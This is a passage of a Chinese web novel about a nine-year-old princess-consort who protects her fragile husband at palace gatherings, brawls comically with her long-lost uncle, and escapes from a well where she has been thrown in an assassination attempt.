“五弟,弟妹,原来你们在这里呀!”
两人正说着话,忽然听见身后传来一道柔和的女声,以及许多的脚步声。
谢元棠回过头,打眼一扫就乐了。
一大半都是熟人!
司徒雅,司徒凤,还有虞卿卿陆紫珊等人都在。
而走在最前那个,便是她没见过的大公主司徒晴了。
谢元棠视线落在她身上,微微顿了下。
司徒晴目光十分亲切,笑着跟谢元棠打招呼:“这位便是弟妹了吧,之前一直没见到,今日倒是有缘分了。”
说罢又看向司徒砚:“早听说弟妹是五弟的小福星,连前日五弟发病,都是弟妹带来的奇迹,可是真的?”
司徒砚怔了怔,谢元棠微微眯眼,其他人也都愣了下。
谁也没料到大公主会毫无准备的,当着所有人的面提及司徒砚发病的事。
一时间众人看向司徒砚的目光都有些复杂。
其他们今日答应来这里,也是因为知道司徒砚会来,多少有些好奇他到底是真的病好了,还是依然疯疯癫癫的。
司徒砚脸色微微发白。
那么多双眼睛盯着他,有好奇的,有厌恶的,有恐惧的……
他想说自己已经好了,想让他们别怕自己,但
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张了张口,却有些发不
出声音来。
司徒砚握紧了拳,身体逐渐紧绷。
不可以,他不可以沉默。
不然那些人会看不起娘子的。
他不可以让娘子也遭受那样的目光!
“我……
“皇姐你瞎了吗?
司徒砚刚想开口,谢元棠就讽笑一声,一点不客气地朝司徒晴翻了个白眼:“我这么大一夫君站在这儿,好没好的,你自己没长眼不会看啊?
司徒晴脸色微变,呼吸都凝滞了一瞬间。
她还是第一次跟谢元棠打交道,没想到这小妮子嘴这么毒!
而一旁的司徒凤和虞卿卿等人却已经见怪不怪了。
现在整个圈子里谁不知道谢元棠是头小凶兽!
被她咬住,那最少也要掉块肉!
好在司徒晴反应得快,干笑着道:“本宫只是关心五弟,并没有别的意思,五弟和弟妹别介意。
“嘁~
谢元棠直接懒得理她,拉着司徒砚往旁边走:“咱们去那边看花儿去。
司徒晴:“……
她还是第一次遇到这么不给她面子的人!
“皇姐……
司徒雅微笑着,小声道:“五弟妹直来直往,跟她相交,还是别绕弯子比较好呢~
司徒晴冷哼一声。
直来直往吗?
那就更好了!
反正台子已经搭好,好戏登场时,观众的反应越热烈,才更有看头!
另一边司徒凤自来熟地走到谢元棠跟前,见司徒砚在前面几米处给谢元棠摘花,不由悄悄拽了拽她袖子:
“喂,你跟我说句实话,他……五哥的病真的好了吧?
谢元棠不耐烦抽开手:“怎么,你很想他病吗?
“我哪有!
司徒凤跺了跺脚:“你别冤枉我啊,我……
“轰!
两人正说着话,忽然一声剧烈的爆炸声传来。
“啊!
司徒凤吓得立刻抱头蹲在地上。
其他人贵女们也都惊慌地往后躲。
只有谢元棠,第一时间转过身,看向司徒砚的方向。
他正僵硬地站在那里,双手染血!
第96章 这才是你应该跟我说话的高度!
“夫君!”
谢元棠脸色一变,急忙跑过去。
司徒砚苍白着脸站在那里,僵硬地维持着一个姿势,一动不动。
染血的双手细小地颤抖着。
他低着头,桃花眼呆滞地望着自己的双手,呼吸都变得急促起来。
“夫君别怕,没事的。”
谢元棠走过去,小手毫不嫌弃地握住他的手,安抚道:“没事,那只是爆竹,不怕昂!”
地上倒着一个破裂的纸盒子,里面一整盒的爆竹,在司徒砚抱起的瞬间爆炸开来,炸伤了他的手不说,更让他整个人的精神状态都紧绷起来!
谢元棠皱紧眉头,正想带他离开,忽听到身后那些贵女们小声议论。
“你们看五皇子,他怎么一动不动?他是不是又发病了?”
“那岂不是又疯了?他不会杀我们吧?”
“啧,这动不动就发疯的,就该好好关在家里,别出来祸害人!”
一声声议论声越来越高。
司徒砚身子微微颤抖,脑袋低得更低了。
谢元棠彻底沉了脸,长睫下垂,遮住乌眸中的阴鸷。
垂在身侧的小手,一根手指一根手指的,缓缓握紧!
暴戾的因子越积越多!
“哎呀……爆竹怎么放这里了?”
就在这时,一个花仆打扮的男人走过来,赔着笑道:
“见过各位主子,奴才是看管园子的园丁,给主子们赔不是了。”
司徒凤气道:“你怎么回事?园子里放爆竹,万一炸伤了人,你个狗奴才担得起吗?”
“是是是,奴才最该万死。”
花仆舔笑着道歉:“也不知道是哪个不懂事的放在这里的,奴才回去定会好好教训他们!”
司徒晴皱眉开口:“罢了,赶紧收拾了下去。”
“是,奴才遵命。”
花仆抱起破碎的盒子,看都没看司徒砚,转身就要离开。
“等等。”
稚嫩的声音响起。
谢元棠缓缓抬眸,冷声道:“谁准你走了?”
明明软糯糯的声音,却无端透着一股冰凉。
司徒凤眨了眨眼,悄悄往后挪了几步,不巧正好挪到司徒晴身边。
“三妹,你怎么了?司徒晴问了句。
司徒凤一看是她,急忙拉开两人的距离,摆摆手道:“皇姐你离我远一点啊。
司徒晴皱眉,不悦道:“你什么意思?
司徒凤一边远离她,一边说:“我怕你待会儿溅我一身血!
司徒晴:“……
花仆一怔,面上仍做恭敬赔笑样:“小皇妃,公主殿下让奴才下去收拾呢。
“她让你走是她的事,我准你走了吗?
谢元棠一边说话,一边慢慢活动了一下脖子,而后一步步走到他跟前。
小小的个子,才到花仆的腰间,但那一张没有表情的小脸,却无端让人觉得她来自云端,任何人在她面前都要跪服!
“您这话说的,这里可是公主府……啊啊啊啊!
花仆的话还没说完,忽然惨叫一声,单膝跪倒在谢元棠面前。
谢元棠冷哼一声,又一脚用力踹在他另一只膝盖骨上!
“唔唔唔!
花仆仿佛听见了自己膝盖骨裂的声音,双腿一软狼狈地跪在谢元棠面前。
这次,换谢元棠居高临下看着他了。
“这才是你应该跟我说话的高度!
花仆疼得脸色扭曲,脸颊两侧全是冷汗。
他仰头看着站在自己面前的九岁小皇妃,咬牙道:“小皇妃是不是太过分了?奴才再怎么样,也是公主府的下人!
“过分?
谢元棠嘴角一勾,笑得邪肆:“这才哪儿到哪儿。
说罢,一拳打在他鼻子上,顿时打得他鼻孔流血!
“现在你祖宗就让你见识见识,什么叫真正的过分!
不同于揍杜韦那一次,谢元棠现在是用了十层的力,每一拳都往死里揍,完全不管自己的手会不会受伤。
“眼睛看不见我夫君是吧?那就别要了!
“爆竹不是你放的,你什么都不知道是吧?那这手也没用了!
碰碰碰……
一拳又一拳打在花仆身上,拳头打累了用脚。
想跑?
那也得他站得起来才行!
整个园子里鸦雀无声。
所有人都震惊地看着这一幕。
谢元棠站
在那里,对着倒在地上的花仆又打又踹,根本不给对方留
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命!
“啊啊啊啊啊!”
花仆的惨叫声回荡在整个园子里,听得人鸡皮疙瘩都起来了。
血从他身上溢出来,溅了一地。
谢元棠身上染了血,手上染了血。
但她一点都没有停的意思。
看着疯狂揍人的谢元棠,所有人都本能地往后退了好几步。
他们不知道司徒砚是不是疯子,但今天他们算是知道了。
谢元棠绝对是个不折不扣的疯子!
“滴哒~”
一滴温热的血溅到司徒砚的手背上。
他怔怔抬头,看着视线中那个身影,终于动了。
他缓缓走上前,拉住她的胳膊道:“不要打了,你受伤了。”
谢元棠这才停下,转头看他:“好了?”
司徒砚一顿,点点头:“我没事了。”
他知道她是因为自己才会生气的,那个爆竹是故意的,那些本应该在南园,却特意走来这里的人也是故意被带过来的。
为的,就是想让他发病。
司徒砚抿了抿唇,低声道:“以后不会了。”
不会再轻信其他人,不会再当众让她被人指指点点。
“唔……”
见谢元棠停手,被打半死的花仆挣扎的,四肢并用想爬走。
只可惜没爬两步就晕死了过去。
看起来就好像是谢元棠硬生生把他打死了似的。
众人脸色一时间更白了。
谢元棠听到那一片的倒吸气声音,转过头扫了一眼所有人。
“怎么,怕了?”
她狞笑一声,昂首挺胸往前迈两步:“现在你们是不是又想问我是不是疯了?”
“对啊,我就是疯子。”
司徒雅担忧地开口:“五弟妹,别这么说,我想大家没这个意思……”
“你们没有,我有!”
谢元棠冷哼一声:“我就是有精神病的疯子,所以你们最好别惹我。”
“因为我不知道什么时候就会爆发。”
她说着,指了指地上那晕死的花仆,冷笑道:“尤其是企图欺负我和我夫君的人,下场就会跟他一样。”
她目光横扫,冷声问:“都听到了?记住了?别下回惹了我这个疯子,又说我没警告你们。”
第100章 天王老子来了,也等她先报了仇再说!
谢元棠是第二日才知道宫宴的事情的。
“怎么忽然要办宴会?难道父皇羡慕司徒晴有赏荷宴,他也要办一个?”
红蕖笑着摇头道:“那应该不会,只听说这次似是为了庆军功,别的奴婢就不知道了。”
“管它呢,反正我和夫君就是进宫吃饭的。”
司徒砚跟着点头。
谢元棠摸着下巴,琢磨着:“明天……既然的父皇要办宫宴,那应该没人敢捣乱吧?”
司徒阆那边也没消息传来,想来计划还未开始,也用不着他们去当诱饵。
虽然她一开始就没打算老老实实当这个诱饵。
只是意外总是会出人意料的到来。
谢元棠如何也没料到,在所有人都以为绝对不会出事的宫宴上,偏偏就出了事情。
她和司徒砚不知道,司徒阆不知道,或许……
连司徒烨都未必真的清楚……
翌日,宫宴。
一开始倒是再正常不过的热闹。
只是谢元棠觉得,今天来跟她打招呼的人未免有点多。
当陆紫珊都犹豫着跑来跟她打招呼的时候,谢元棠终于觉得不对劲了。
“紫珊姐姐,咱们有熟到打招呼的地步了吗?”
陆紫珊笑容僵硬,每次对上谢元棠她都倒霉。
但是她爹让她来,她不敢不听。
“应该……还挺熟的吧,我还送过你白玉棋你忘了吗?”
听到这话,谢元棠眉头稍霁。
“好吧,看在份子礼的份上,我勉强接受你这个说辞。”
她一手拉住司徒砚,一边警告陆紫珊:“不过你不许再打我夫君注意哦,别以为我没发现,你总是偷偷看他。”
司徒砚桃花眼满是疑惑:“为什么你要偷看我?我们认识吗?”
陆紫珊:“……”
算了算了,她发誓今天再不会跟谢元棠说一句话!
看着陆紫珊黑着脸离开,而周围还有其他人眼睛发亮的看着她,谢元棠皱了皱眉,小声对司徒砚道:“夫君,他们为什么这么看我们?你说该不会是我在公主府打人的事被父皇知道了吧?”
“可如果是那样,他们应该幸灾乐祸才对,不会过来巴结我呀。”
司徒砚扯了扯头发,努力让自己多长一点脑子:“会不会是他们发现娘子你很厉害,都害怕你,所以才过来跟你说话的?”
谢元棠摇摇头,拉着他往后退:“别管是啥了,咱们先溜再说……哎呀!”
话还没说完,谢元棠忽然感觉自己脑袋被一只大掌给罩住。
“上哪儿去啊?”
一道浑厚的声音传来,谢元棠一听是陌生人,抬起小手就朝后抓去!
“哪个王八蛋!放开你姑奶奶!”
“不知道按头会不长个儿吗?想活命的赶紧松爪!不然姑奶奶对你不客气了!”
谢元棠气得脸都憋红了。
她大概猜得到来人是有身份的,不然也不能进到大殿上来。
可是再有身份也不能按她脑袋啊!
尤其当着这么多人的面,没看见陆紫珊他们看戏看得多开心嘛!
大佬棠怒了!
大佬棠小短腿努力朝后踹——踹不着!
小手张牙舞爪地往后抓——抓不动!
“哈哈!”
男人恣意的笑声从头顶传来,语气带着调侃:“就你这小胳膊小腿儿的,还想对我不客气?”
“啊呀呀呀!气死我了!”
谢元棠气得跺脚,却始终被稳稳按着小脑袋,一下也回不了头。
当着所有人的面她不想用银针,这会儿子就像被佛祖握在手里的孙猴子,纵然有七十二计也无可奈何!
“夫君你傻愣着干吗?揍他啊!”
“干他个老王八!踹他裆!咬他手!”
司徒砚呆呆地站在那里,闻言很是犹豫:“啊……那个……”
“可是……父皇他们都在呀……”
他抬头看看男人身边站着的司徒擎,还有司徒擎旁边的言关清,还有司徒阆司徒冉等几兄弟,到底没傻到家直接动手。
一听司徒砚这话,谢元棠瞬间不挣扎了。
她惊恐地睁大眼睛,小声问:“父,父皇在我后面?”
司徒砚苦着脸点头:“在。”
“那你刚才说都在……”
谢元棠咽了口口水:“还有谁?”
司徒砚掰着手指头数:“父皇,舅舅,大哥二哥三哥四哥六弟……还有你坏爹。”
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谢兆青:“……”我谢谢你啊!
谢元棠呼吸一滞,抱着最后一丝希望问:“那我刚才骂‘老王八’的时候,父皇该不会也在吧?”
“哼!朕当然在!”
司徒擎冷哼道:“谢元棠,朕看你的规矩是跟狗学的吧?见人就咬!”
谢元棠一僵,心里瞬间叫苦。
完了,一下没注意暴露了本性,让自己天真无辜善良小天使的形象全毁了!
谢元棠心思急转,大眼睛使劲睁大,逼得自己快速掉泪。
小绿茶再次上线!
“父皇,棠棠冤枉呀~”
谢元棠嘤嘤嘤:“都是后面那老王……突然欺负我,棠棠头好痛呜呜呜……”
“头痛?”
男人一听这话,立刻松开手:“我都没用劲儿,你怎么会头疼呢?该不会是生病了吧?”
一边问,男人一边大步往前迈,同时低头就去看谢元棠的脑袋。
谢元棠等的就是这个时候!
管他谁在身后,天王老子来了,也等她先报了仇再说!
在男人靠近的瞬间,谢元棠忽然开口,茶里茶气道:
“哎呀~棠棠头痛,棠棠好晕,棠棠站不住了……”
说话的同时,她忽然整个人都“失力”往后倒!
“小心!”
男人没有防备,伸手就想去扶谢元棠。
不想下一瞬,一只小脚丫重重踩在了他的脚指头上!
“嘶!”
男人倒吸口凉气,然而这还没完。
紧接着,谢元棠小手一扯,揪着他衣摆,迫使他本就微弯的身子更加低下去。
而后——
“咚!”
一记头槌,重重地撞在了他的额头上!
“哎妈我去!”
男人被撞得眼冒金星,连连往后退。
谢元棠揉了揉自己有点红的额头,一摸鼻子,小手叉腰,得意道:“说了再不松爪子,我不会对你客气的!”
到底当着皇帝的面,谢元棠没敢太猖狂,还十分大度地挥挥小手:
“行了!这下咱俩扯平了!”
“谢元棠!”
男人气得大吼:“奶奶个熊!有你这么对亲舅舅的吗!”
第101章 娘子救我!
“舅舅?”
谢元棠呆了,叉着腰的小手也放了下来。
有资格自称她舅舅的,还能跟皇帝一起出席宫宴的……
“呃……”
不会这么巧吧?
谢元棠眨眨水灵灵的大眼睛,小手惊讶地捂住了嘴巴。
小脑袋歪了歪,双髻上绑着的彩色飘带调皮地晃下来,她小声问司徒擎:“父皇,他谁呀?”
司徒擎冷哼一声:“你不是说他是老王八吗?就这么叫他就行了!”
谢元棠:“……”
“啧……”
冷云朝性情大咧,跟皇上说话也没客套:
“万岁爷,您可不能乱教!再说咱们怎么也算沾亲带故的,我要是老王八,那您不也……”
“咳咳!”
眼看皇帝脸色越来越黑,言关清及时打断冷云朝的话:“冷将军慎言。”
说罢转头笑着对谢元棠道:“这是冷云朝,冷枕山三子,你母亲的弟弟,确实是你亲舅舅。”
果然……
谢元棠嘴角微抽。
她还想过等她外祖父和舅舅们来了,她就表现成天真柔弱小可怜,谁知道小可怜没装成不说,还给亲舅舅亲看见了她粗暴的真面目!
看着直到这会儿还在那儿揉脑门的冷云朝,谢元棠尴尬地挠了挠头。
“真那么疼啊?”
“嘶~你槌的你说呢?”
冷云朝松开揉脑门的大手,露出自己脑袋上鼓起的大包,粗声粗气道:“这铁头功!差点没一槌给我干回雪岭去!”
谢元棠:“……”
不过她倒是没想到,声音如此粗犷的小舅舅,长得确实十分英俊。
不同于司徒家那种偏白的精致帅,冷云朝身上自有一股野蛮生长的辽阔感。
小麦色的健康肤色衬得他更加英武健硕,剑眉入鬓,双目炯炯,加上那起码一八五打底的身高,和一身的腱子肉……
简直让人安全感爆棚!
谢元棠眼睛一亮。
她是颜控狗她承认!
“舅舅!”
谢元棠露出个灿烂的笑脸,就朝冷云朝扑了过去,小手抱住他胳膊晃呀晃,夹子音撒娇:“舅舅,您长得真帅!”
冷云朝低
头看着一脸天真,毫无攻击力的外甥女,气笑了:“不骂我了?”
“哎呀那伦家不是不知道是您嘛~”
谢元棠眨眨眼,那俏皮的灵动样子,逗得冷云朝气也气不起来。
再说他本就是为她们母女而来,又怎会跟她计较。
大手轻轻捏了捏她的脸蛋道:“罢了,看你如此皮实,我也就放心了!”
天知道当他看见外甥女写的信时有多着急,一路上跑死了几匹马才紧赶慢赶来京,本想给小丫头一个惊喜,谁知道她倒是先送了他一个大大的惊喜!
看着谢元棠认亲,司徒砚站在旁边想了想,走了过来。
他见过冷蕴菀,知道见娘家人的礼数!
当下,只见司徒砚站在冷云朝面前,朝他九十度作揖,恭敬道:“舅舅好。”
言关清:“……”
叫我的时候推三堵四,叫起别人来倒是一点不生疏!真是亲外甥!
冷云朝皱眉打量着司徒砚,他自然是听说过这位五皇子的,也知道他和谢元棠的婚事,只是理解归理解,接受……那是一点也接受不了!
他好好的一宝贝外甥女,才九岁,都没来得及宠呢,就嫁人了?
是可忍叔都不能忍!
冷云朝冷哼一声,挂了脸。
换个机灵的早就察觉他的态度问题了,但司徒砚不机灵啊!
他抬起头疑惑地看看,眨了眨眼好看的桃花眼,灵光一闪问道:
“是不是要跪下?舅舅,我这就跪……”
司徒擎:“……”
刚才看见他都没跪,人家哼一声你就跪,真是亲儿子!
谢元棠走过来拉住他,笑着道:“夫君不用跪的,舅舅跟你开玩笑呢,对吧舅舅?”
说到后半句,小手微微用力捏了下冷云朝的手指,咬牙小声道:“不许欺负我夫君!”
冷云朝:“……”还护上了!
儿子一副要跪不跪的怂样,司徒擎都没眼看,直接冷哼一声略身走过。
言关清等人紧随其后。
宫宴正式开始,谢元棠才知道原来这场宫宴本就是为了她舅舅冷云朝办的。
冷云朝回京,官任从四品骁骑副参领。
一个从四品不算多高的官儿,但冷云朝
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可是冷家的人,他回来就代表冷家。
冷家驻守雪岭十多年,其真论军功,比之虞国公有过之而无不及。
众人看着深得圣宠的冷云朝,再看看谢元棠和司徒砚,心里绕得弯弯就多了起来。
如今冷家人回京,而且还对谢元棠如此亲昵,可见冷家已经放下当年的芥蒂了。
如此一来,言冷谢三姓,文武皆占……
嘶!
众人突然反应过来,这全都是五皇子的势力啊!
以前他是个傻子,可如今他看着可是一日比一日好,难说未来不会……
想到这里,众人看着司徒砚的目光顿时不一样了。
有同样想法的,还有在座几位皇子,以及陪在皇帝左右的虞贵妃和俪妃……
谢元棠没管其他人怎么想,她只负责吃。
司徒砚:“娘子吃这个年糕,你最喜欢吃的。”
冷云朝:“年糕太甜长蛀牙,还是喝酒吧,喝酒活气血!”
言关清:“……”有点怀疑他们再投喂下去,小丫头会食物中毒!
宫宴过半。
司徒擎和两位嫔妃先走,其他人也不再拘束,或外出逛逛,或提前离开。
吃撑了的谢元棠揉着自己圆滚滚的小肚皮,走到外面消食。
司徒砚陪着她,两人走着走着,便来到御花园一处假山边。
初夏的夜晚已经有了热气,谢元棠坐在假山旁的石头上,舔了舔舌头。
“娘子是不是渴了?”
司徒砚看见她的动作,蹙眉道:“刚才你吃了好多年糕,肯定是渴了,你坐着,我回去帮你拿水去。”
“不用啦。”
谢元棠挥着小手:“我也没多渴,别来回跑了,等一下回去再喝。”
“不行。”
司徒砚摇摇头:“娘子这么小,我要照顾好娘子。”
他别的事办不了,但拿杯水这种小事还是可以的。
司徒砚说罢就揍,谢元棠想拦都来不及。
四周十分安静,她索性坐在那里,仰头看着夜空的星星。
“噗通!”
突然一道落水声响起。
谢元棠微微一怔,从石头上站起身。
“夫君?”
“娘子救我!”
第103章 缺了大德!
大佬棠困惑不解了。
小脚丫踢踢屁股底下的一号丧尸,问他:
“一号你说,到底是什么样的猪脑子,才能想出在宫宴上把我扔井里这种蠢出天际的绝计?”
“咔~”
一号张了张嘴巴,发出一道机械的声音。
“父皇亲自摆的宫宴诶!我亲舅舅也在诶!”
“选在今天杀我,是生怕父皇不彻查吗?”
谢元棠小脚再踢踢一号:“你说这人是不是厌世,故意找我陪它一块儿死的?”
“咔,咔咔……”
一号僵硬的手艰难地打个弯,轻轻拍拍谢元棠的脚背。
小祖宗别踢~
本来站得就不稳,再踢散架了!
“唉——”
谢元棠郁闷地嘟起小嘴。
不管想杀她的人是不是脑子进了水,她要是再不想办法出去,脑袋就真的要泡水里了!
她低头往底下看了眼。
五个丧尸虽说能叠罗汉撑着她,可这需要耗费她的精神力,仅仅是这一小会儿,她已经有点吃力了。
“还是得赶紧出去呀~”
谢元棠抬头看看那块巨石,有点犹豫。
倒也不是没办法。
主要是吧……
她想的办法要么就是有点缺德,要么就是有点缺大德!
【有点缺德版】:将空间研究室里的野生长柳藤种子种在水井中,这种玩意儿喜水疯长,经过她的培育更是三分钟可以长十层楼那么高。
顶开巨石,带她出井这种小活更是不在话下!
只是……
到时候她该怎么跟众人解释呢?
试想一下如下场景:
一根“如意金箍棒”突然破井而出,高出皇宫丈许!
而她坐在金箍棒上头,低头跟整个皇宫的人打招呼:
“嗨,父皇,舅舅,我闹海回来了?”
谢元棠晃晃小脑袋,摇摇头。
“不行不行,这我不得被当成妖怪抓起来?”
【缺大德版】:用手电筒和夜明珠照成闪光效果,再加点白烟,她再配乐阴间低泣,引发注意,让人以为这水井有冤死的女鬼!
据她多年看宫斗剧的经验,此方法应该有效,就是容
易吓死人!
谢元棠擦了擦额角的冷汗,呼了口气:
“累了,没脑子思考了,干它!
说罢,叼起手电筒,开始从研究室里往外掏道具。
吓死别人总比泡死自己强!
大佬棠向来说干就干,立刻就开始鼓捣起来。
只等着给整个皇宫来一出现导的午夜惊魂!
——
与此同时,整个皇宫都因为谢元棠的失踪而热闹了起来!
司徒擎派出了整个羽林卫的人,沿着司徒砚指的方向,寸土寸地的翻!
连狗洞和梳妆盒都没放过!
没办法,谁让谢元棠身量小呢,那小小的一团缩哪儿都有可能!
大殿上,司徒擎面色凝重地坐在龙椅上,下首是司徒冉几人,每个人脸上都表情沉重。
众位官员家眷全都留坐,这个节骨眼儿,谁也不敢乱动乱走。
谢兆青低着头偷笑,真是老天有眼,让那丫头死了才好!
冷云朝已经找了一圈回来,这会儿黑着脸,在大殿上着急得来回踱步。
司徒擎看见他这样,脸色愈加阴沉,今日是他为冷云朝设的宫宴,为表他对冷家的重视。
结果竟有人敢在这个时候对谢元棠动手。
是生怕冷家对他这个皇帝太忠心了吗?
“皇上,查到了!
言关清快步走进大殿。
一向注重仪表的太傅大人此刻连发丝乱了衣摆灰了都顾不上,喘着气快速道:
“臣找到宴上给砚儿和元棠倒茶的几个太监宫女,其中一个叫高大海的不见了,现在其他人均已在殿外,等候圣问。
司徒擎一摆手冷喝道:“全叫进来!
曲培立刻宣人进殿。
一排宫女太监哆嗦着跪下,刚想高呼万岁,司徒擎已经打断怒问:“高大海在哪儿?
“不,不知道……
众人小声否认:“我们跟他不熟,之前他不在前头当差……
“他又不是石头里蹦出来的,你们怎么可能一个知道的都没有?
冷云朝气得,他好不容易见到外甥女,眨个眼的功夫就没了?
言关清目光暗沉,上前一步冷声道:“谋刺皇子皇妃,此乃诛九族的
死罪,你们今日和他一同伺候的,也免不了连坐之罪。”
“本官已经让人将高大海和你们的九族户籍调出来了,今日找不到高大海,那你们和你们的家人就代他而死!”
这话一出,几个小太监宫女脸色唰就白了。
“皇上饶命,饶命啊……”
“奴婢真的什么都不知道,皇上明察啊!”<
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p>一众人不停地磕头求饶,其中却有一人慢了半拍,抬头偷偷瞄了眼言关清。
就是这一眼,言关清已经察觉!
“冷将军!”
言关清声音一出,冷云朝瞬间过去拎起那小太监:
“说,高大海在哪儿?不说老子拧断你脖子!”
他个子高,手劲儿又大,那小太监被他拎得双脚直接离了地,憋红了脸结巴道:“奴才真不……真不知道……”
“我只知道他,他跟宫女秀儿走得很近……”
一直沉默没有开口的司徒烨瞬间抬头。
手里的杯盖“碰”一声磕在茶杯上。
“秀儿?”
言关清皱眉追问:“哪个宫的?”
“是……是莞月宫,伺候贵妃娘娘的……”
这话一出,所有人都是一怔。
言关清眼皮微眯,冷云朝骂了句脏话。
司徒擎眉心紧蹙:“莞月宫?”
“父皇明察!”
司徒烨站出来,跪地道:“仅一个太监宫女代表不了什么,这件事绝对和母妃无关!”
司徒冉挑眉,司徒墨垂眸。
司徒凤“啊”了一声,被司徒煦瞪了眼,连忙捂住嘴不敢出声了。
“皇上!”
冷云朝上前两步单膝跪地:“臣一个粗人,不知道为什么我外甥女失踪,会扯出贵妃娘娘宫里的人。”
“皇上您比我聪明,或许您能想明白。”
司徒擎:“……”阴阳怪气你是懂的!
冷云朝深吸口气,高声道:“但我冷家小辈中就这么一个小女娃,还请皇上还我一个完好无缺的外甥女!不然臣今日就跪死在这大殿上!”
众人:“……”
冷云朝要是跪死,冷家还不直接造反了!
言关清亦是出列:“皇上,还有一事。”
“从方才开始,砚儿就不见了,据宫中守卫说,曾看见他跟一个小太监离开了,如今生死不明……”
先是一个皇子妃失踪,接着连皇帝的亲儿子都可能遭遇危险。
这简直是在皇帝眼皮子底下找死的节奏!
“放肆!”
“他们这是要造反不成?”
司徒擎震怒,一手拿着茶杯就砸在了司徒烨脚边。
“给朕彻查!”
“不管牵扯出谁,一并带到朕面前来!”
“砚儿和元棠若是有事,朕定让她偿命!”
司徒烨呼吸一滞,仓皇抬头。
第104章 栽傻夫君手里了!
时间往回倒一点点,司徒砚从大殿出来,着急忙慌地到处乱找。
他倒还没想到谢元棠可能被人抓走了,只想着她是不是迷路了或者走丢了,就一直在御花园里找。
假山,花径,湖泊,长廊……
连垃圾桶都翻了,都没找到人。
时间越来越长,司徒砚渐渐急躁。
“娘子!”
“你在哪里啊!”
他高声喊着,烦躁地抬手捶了下旁边的石墩子,继续拐了弯接着找。
无人看见在他走后,石墩子“咔嚓”一声,裂成了两半!
司徒砚第N次路过假山的时候,被一个气喘吁吁的小太监叫住了。
“五殿下,您慢,慢点……”
高大海跑得汗流浃背,说一句话得喘十来口气。
不是他来得慢,实在是这五皇子太快了!
“嗖”一下在假山,“嗖”一下又到了长廊。
他费了老牛鼻子的劲儿才逮着他!
这年头,反派也不好当啊!
见司徒砚又要跑,高大海忙出声道:
“五殿下,奴才知,知道皇子妃在……在哪儿……”
司徒砚急刹车,三两步回来:“你知道?在哪儿?”
高大海干渴得咽了口口水:“您跟奴,奴才走……”
他往前带路,司徒砚下意识就要跟上。
“别去!”
一道熟悉又陌生的声音忽然在耳边响起。
司徒砚微微一顿。
这声音……他好像听过。
他低头,缓缓抬头抚上自己的心口。
好像有人在那里跟他说话。
“你一个人救不了她,找人去!”
那声音理智又冷静,好像不是他,又好像本就是他自己的意念。
司徒砚怔了怔。
高大海见他停下,急道:“五殿下您怎么停了,再不快点去皇子妃也就要没命了!”
“找人……”
司徒砚喃喃道,可他左右看看,四周竟没几个人,离最近的守卫也在对面几十米外的园子里找,他得大喊对方,再说话告诉对方什么事。
这一来一去,娘子可能已经就危险了!
司徒砚心里焦急,脑子逐渐
混乱。
再加上高大海一直在旁边劝说,他一咬牙就跟着对方走了。
只是随手将身上的玉穗子扔在了地上。
从假山穿过,高大海领着司徒砚到了竹林旁边。
“五殿下,就在这里!
司徒砚皱眉道:“这里我来过,没有娘子。
阴影中,高大海嘴角的笑有些渗人:
“五殿下,您仔细找找呢?
“奴才记得,那边那口井,原先可是没盖子的呢……
司徒砚骤然一僵,猛地转头看向那口盖了巨石的水井。
不知道什么原因,那水井竟微微冒着白烟。
看起来像是老山古寺中的鬼井。
“娘子……不,不可能!
想到谢元棠掉进了井里,司徒砚脸都白了,想也不想就冲了过去。
“娘子!娘子!
水井中。
谢元棠将冒烟器挂在脖子上,手里正拽着钩绳。
她想好了,待会儿她一开尊口,只等有人靠近搬动石头,她就用钩绳钩住井口,这样她就能爬出去了!
“哎呀呀我这小脑袋瓜子,可真是聪明绝顶!
对自己佩服得五体投地,大佬棠又踢了踢一号。
一号脚颤了下,连带着被踩的二号三号……全都颤了颤。
五个丧尸:“咔咔咔咔咔!
祖宗别踹了!真要撑不住了!
谢元棠握着钩绳,正要开始她的阴间配乐,忽然隐约听见外头有声音响起。
“娘子,娘子……
谢元棠怔怔地听着,歪了歪头:
“听着像我夫君……不过也可能又是哪个耍口技的?
她想仔细听,那声音却断断续续的,待她想听时又没了。
“啧……破井盖儿,隔音效果这么好的吗?
谢元棠怒了,小手成喇叭状大声喊:“喂!有没有人啊!
没有声音。
下一瞬,巨石一阵颤动,微微晃了晃。
谢元棠心中一喜。
真的有人发现她了!
她急忙站起身来,小脚丫踩在一号脑袋上。
“你们再撑一会儿啊,我马上就出去了。
一至五
号丧尸歪歪扭扭的打颤。
不是他们不想撑,而是这水……
真他妈滑!
“咔~”
三号脚下一滑,差点没站稳,连忙又赶紧收回来踩在四号肩膀上。
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四号的脚指头都扣进了五号的肩膀缝隙里。
五号最惨,双脚踩在井底光滑的青苔上,都开始小幅度的跳踢踏舞了!
谢元棠知道身下丧尸们快撑不住了,可她没办法。
再忍一下,只差一步,她就能出去了!
她努力在一号的脑袋上站稳,小身子不停地颤抖。
一双明亮的大眼睛却一眨不眨,只专心地盯着头顶的巨石。
双眸如鹰,仿佛她正在末世执行任务,全神贯注地狙击着敌人!
“嗡~”
巨石终于挪动。
头顶逐渐露出星亮的夜空来。
谢元棠眼睫微微一颤。
就是现在!
就在巨石搬开的瞬间,谢元棠小脚使劲儿借力,踩住一号的脑袋一个跳跃。
同时钩绳就要甩向井口。
最好的时机,最好的跳跃角度!
以她大佬棠的身法和力度,绝对不会失手!
谢元棠欣喜若狂。
然而下一瞬,一张大脸忽的从井口上方伸过来!
墨色的长发顺着那张俊脸整个垂下来,活像男鬼现世!
“卧草草草!”
谢元棠自己要扮鬼时没害怕,没想到冷不丁看见鬼时还是吓了一大跳!
手里的钩绳顿时一滑,掉进了井水里。
一号抬头看了眼男鬼,“咔”地一声,直接栽了下去!
接着是二号三号……
只听“噗通噗通”,跟下饺子似的!
谢元棠没了钩绳,没了丧尸在地上接她,自己也跟着往下掉!
“我踏马……”
谢元棠欲骂无声,谁能想到没栽敌人手里,栽傻夫君手里了!
她认命闭上眼,只等着下去泡澡。
然而下一瞬,一只大手却稳稳抓住了她的小手。
谢元棠怔怔抬头,见她那傻乎乎的夫君竟跳了下来!
修长的身形挂在井中,一只手扣着井边,一只手紧紧抓住她的手腕。
“娘子不怕,别松手啊!我拉你上来!”
司徒砚急得声音都劈了,在这样微弱的光亮中,谢元棠都能清晰看见他两颊的汗,可见他方才找不见她时,定然是急坏了。
谢元棠忽然不气了,笑了下道:“好啊,我不松手,咱们一块儿出……”
话没说完,就看见井口露出高大海的身影来。
第105章 井中猫腻
谢元棠笑容顿时一滞。
“夫君小心!”
她焦急大喊,司徒砚愣了下,怔怔地抬头。
